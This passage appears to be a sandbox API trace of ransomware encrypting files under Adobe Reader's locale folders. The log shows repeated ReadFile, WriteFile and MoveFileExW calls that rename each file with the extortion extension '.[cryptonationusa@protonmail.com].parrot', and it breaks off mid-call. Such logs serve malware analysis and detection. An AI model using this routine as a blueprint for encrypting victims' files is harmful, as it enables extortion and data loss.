[0251.740] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.740] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18e8f4*=0x100000, lpOverlapped=0x0) returned 1 [0251.743] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15c518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0251.743] CloseHandle (hObject=0x1b0) returned 1 [0251.744] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\RdLang32.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\rdlang32.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.760] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.765] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.765] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2c00, lpOverlapped=0x0) returned 1 [0251.767] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.767] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\ReadOutLoud.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\readoutloud.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.773] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.773] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.775] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.775] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1200, lpOverlapped=0x0) returned 1 [0251.776] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.776] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.784] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.784] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0251.785] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.786] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.792] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.792] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6200, lpOverlapped=0x0) returned 1 [0251.793] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.793] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.797] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.797] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.798] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.799] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4000, lpOverlapped=0x0) returned 1 [0251.800] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.800] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SendMail.deu.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\sendmail.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.804] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0251.804] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0251.804] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0251.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0251.805] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0251.805] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.805] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0251.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.806] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x95b0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x95b0, lpOverlapped=0x0) returned 1 [0251.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.809] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.814] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.814] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0251.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.815] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe7, lpOverlapped=0x0) returned 1 [0251.815] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.815] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.819] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0251.819] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x221ac520, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x221ac520, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.819] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x221863c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x96d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0251.819] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.820] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.873] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.873] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0251.890] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.891] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Spelling.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\spelling.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.897] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.898] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.898] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0251.899] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.900] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\updater.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\updater.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.905] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.905] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.907] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.907] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7400, lpOverlapped=0x0) returned 1 [0251.908] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.908] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Weblink.DEU.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\weblink.deu.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0251.913] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0251.913] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x22290d60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x22290d60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.913] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x21c2b240, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0251.913] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0251.915] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0251.915] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.915] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0251.915] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0251.915] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0251.916] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0251.916] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0251.917] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.917] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb200, lpOverlapped=0x0) returned 1 [0251.918] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.921] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\accessibility.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.028] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.028] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.030] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.030] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6d200, lpOverlapped=0x0) returned 1 [0252.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.145] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\acroform.esp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0252.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0252.159] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0252.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.160] ReadFile (in: 